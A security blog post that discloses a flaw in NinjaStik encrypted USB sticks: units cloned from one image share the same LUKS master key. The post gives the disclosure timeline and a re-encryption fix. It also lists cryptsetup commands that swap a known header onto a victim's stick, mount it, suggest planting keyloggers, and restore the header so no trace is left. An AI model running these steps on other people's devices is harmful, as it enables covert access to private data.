|(Photo – Flickr Creative Commons: R’eyes)|
I was trying to do some other work while discussing the NinjaStik, anonymity, encryption and other stuff with my co-workers. I had one of those days you just can't get yourself to concentrate..
I'm sceptical of any security tool that doesn't come with the exact instructions on how to reproduce it yourself. There are some instructions on how to get started and technical specifications on the NinjaStik site, but elsewhere on the site they also mention some secret ingredients. People are corruptible and imperfect so anything produced by a human should be considered compromised until proven otherwise. I was arguing my point about trusting a third party when the discussion diverted to the process of changing the default password on the LUKS-partition. There were instructions on how to do so and they came with the NinjaStik.
The ProblemChanging the password for the master key does not change the master key. NinjaStik is a kind of product that you would assume is most conveniently produced by writing an existing disk image to a thumb drive. This was confirmed to be the case with the images extracted from the NinjaStiks we had at hand. We took 2 different NinjaStiks and found they used the same master key. We can assume that the rest of the shipment are clones as well. This means that the claim that your data cannot be accessed without supercomputers and a million years to spend is false. In fact it took 30 minutes including reading man pages, making coffee and browsing Facebook(you can guess which one of these was the most time consuming). It was kind of cool to be able to demonstrate the ability to read the contents of my co-workers drive, which according to the marketing by it's producer was an impossible feat.
The fact how simple it was to defeat the encryption on a NinjaStik raises questions and answers some. How competent are the people behind the development of NinjaStik? Should you take it for granted that someone who produced a security product understands all the caveats or even the basic ones? We're going to re-encrypt the NinjaStiks we sell to our customers as well as include instructions on how to do it themselves.
It would be irresponsible of us to tell our customers to trust that we don't keep copies of the master keys ourselves, so I would rather tell the customer to assume we do and then decide if they want to re-encrypt their device. Who knows, if by accident there is a copy of the master key somewhere in our swap partition and we're forced to hand over that data. Of course whether the customer needs to worry about the encryption depends much on what the customer chooses to do with their NinjaStik or in life generally. For some, who purchase this product, it doesn't really matter if it's encrypted or not.
I didn't explore NinjaStik beyond this vulnerability as I haven't had the time.
The AftermathWe contacted a NinjaStik representative on the 29th of September and they updated their FAQ pretty soon after we explained the vulnerability to them and provided instructions on how to fix the situation. According to the representative they used to build the NinjaStiks with a room full of PCs, but they recently started cloning. He told us they would contact the customers with affected NinjaStiks and immediately return to building them with the room full of PCs method. He also offered to rebuild the NinjaStiks we had and pay the shipping costs which was nice of him although unnecessary as it's not much of an effort for us to do it ourselves. According the representative there aren't many NinjaStiks out there created with the cloning method. We advised them to build NinjaStiks with another boot option that would boot on the first use and re-encrypt the encrypted partition. We then gave them a week to handle the situation on their end before releasing the details of this vulnerability. Still in their updated FAQ they are downplaying the vulnerability:
"Can I change the encryption passphrase?The wording "to further ensure" sounds to me like something you shouldn't really worry about. In reality the opposite is true. It's not even about just them gaining access to the data on your NinjaStik, everyone can. (The different capacity NinjaStiks might use a different master key, but there are copies of the master keys already out there on already purchased sticks.) Also it's more likely that the one trying to decrypt your device is someone you know or the authorities and thus it's more likely that they have access to the same master key as the one used in your batch.
Yes you can and it is highly recommended – the NinjaStik ships with a default encryption passphrase and a default login password. Both of these should be changed the first time you use the NinjaStik. The NinjaStik also includes instructions to change the volume encryption key to further ensure that even we couldn’t gain access to your NinjaStik."
Then there's the issue of cloning being a recent method for production. I don't see many other plausible reasons for them to use a non-cloning process to manufacture an OS on a thumb drive besides lack of knowledge on how to clone disks or the knowledge that it would make the master key on the NinjaStik known. I'm having difficulties understanding how anyone who put this stick together in the first place would not know how to clone them, so I'm inclined to think they knew that they were compromising the encryption, but maybe didn't realize how serious it was or didn't care. But hey, I'm a paranoid tin foil hat person.
The MethodThe same master key is used in all NinjaStiks thus any NinjaStik can be decrypted using the known master key or a backup of the LUKS header(it contains the key). I demonstrate here how to gain access using a copy of a header from a fresh NinjaStik. The way LUKS works is that even if you change the password for the keyslot, the actual key used for encryption stays the same. Therefore it is a trivial task to use a known master key(or vanilla header) to decrypt a LUKS device.
Ingredients: 2 NinjaStiks. The victims NinjaStik, which has an unknown password set and one with a known password.
//Extract the LUKS header from the new NinjaStik. Password is "password" cryptsetup luksHeaderBackup --header-backup-file=vanilla-header.bak /dev/sda2 //Remove the NinjaStik and plug in the victim's NinjaStik //Optional step: extract the luks header from the second NinjaStik cryptsetup luksHeaderBackup --header-backup-file=victim-header.bak /dev/sda2 //Replace the header on the victim's NinjaStik cryptsetup luksHeaderRestore --header-backup-file=vanilla-header.bak /dev/sdb2 //Open the LUKS partition using the default password "password" cryptsetup luksOpen /dev/sdb2 stick //Mount the partition mkdir /mnt/decrypted mount /dev/mapper/stick /mnt/decrypted //Achievement unlocked, you can now read and write on the victims NinjaStik and compromise any security measure on the operating system residing on the stick(install keyloggers or whatever) //Unmount the stick and close the LUKS partition umount /mnt/decrypted cryptsetup luksClose stick //Restore the original header to the stick cryptsetup luksHeaderRestore --header-backup-file=victim-header.bak /dev/sdb2 //The victims NinjaStik can now again be opened with the password set by the victim.
One alternative approach is to just clone the victims NinjaStik without making any changes to the stick at all. The contents of the victims NinjaStik can be decrypted using an image of the victims NinjaStik and a header with the known password.
The Quick FixIn order to prevent unauthorized access to a NinjaStik the very first thing a user should do is re-encrypt the luks partition. This can be done after booting the computer with a linux LiveCD. I recommend Fedora Live Desktop. The cryptsetup-reencrypt tool is not preinstalled on the LiveCD, but you can install it from the command line by issuing the command
sudo yum -y install cryptsetup-reencryptA quick look led me to the conclusion that cryptsetup-reencrypt tool is not available on Ubuntu 12.04.3 at the moment. After you have booted up the LiveCD open up a terminal, gain root privileges, plug in the NinjaStik and follow these instructions
//identify the last plugged in device dmesg|tail [ 1494.609774] sd 6:0:0:0: [sdf] Write Protect is off [ 1494.609781] sd 6:0:0:0: [sdf] Mode Sense: 23 00 00 00 [ 1494.610406] sd 6:0:0:0: [sdf] No Caching mode page present [ 1494.610409] sd 6:0:0:0: [sdf] Assuming drive cache: write through [ 1494.613495] sd 6:0:0:0: [sdf] No Caching mode page present [ 1494.613500] sd 6:0:0:0: [sdf] Assuming drive cache: write through [ 1494.614011] sdf: sdf1 [ 1494.616820] sd 6:0:0:0: [sdf] No Caching mode page present [ 1494.616824] sd 6:0:0:0: [sdf] Assuming drive cache: write through [ 1494.616827] sd 6:0:0:0: [sdf] Attached SCSI removable disk //you see here we plugged in the device /dev/sdf //on the NinjaStik the second partition is the encrypted one //thus the partition we want to re-encrypt would be /dev/sdf2 //re-encrypt the partition, it will take some time cryptsetup-reencrypt -B 32 -c aes-xts-plain64 /dev/yourdevice
Alternatively you can and probably should do these operations on a copy of your NinjaStik image instead and after you have confirmed it works write the resulting image on your NinjaStik.
See more info on re-encryption here: http://asalor.blogspot.fi/2012/08/re-encryption-of-luks-device-cryptsetup.html
You should check your master key details with cryptsetup luksDump. The default header we had in our stiks looked like this:
Version: 1 Cipher name: aes Cipher mode: cbc-essiv:sha256 Hash spec: sha1 Payload offset: 4096 MK bits: 256 MK digest: bb 49 14 91 26 e1 be 4e 45 2c 9e 81 15 95 45 43 14 1d 9c eb MK salt: 09 b3 d0 c4 15 8e cb 0b 4c 20 02 39 a3 71 7c 67 61 5c 3a ef 8b 3f f9 87 fb d5 bc 03 b9 eb ca 21 MK iterations: 18750 UUID: 4f85fbe5-2d73-47e4-a59f-3ae3b080d913
In all cases you should re-encrypt. Even if the master key differs from this one. If you find that your master key matches, leave a comment.
The SolutionNinjaStiks should contain a second boot option to boot the stick into a mode where the encrypted partition is not mounted. After booting is complete the stick should run a script that asks the user for a current password and a new password twice. The script should then re-encrypt the encrypted partition and reboot. At the moment this also requires updating the cryptsetup version to 1.5 as the current available version(1.4.1) on Ubuntu 12.04.3 does not contain the re-encryption tool.
A ConclusionThe worst threat to security is false security.
Originally posted in my blog Semantics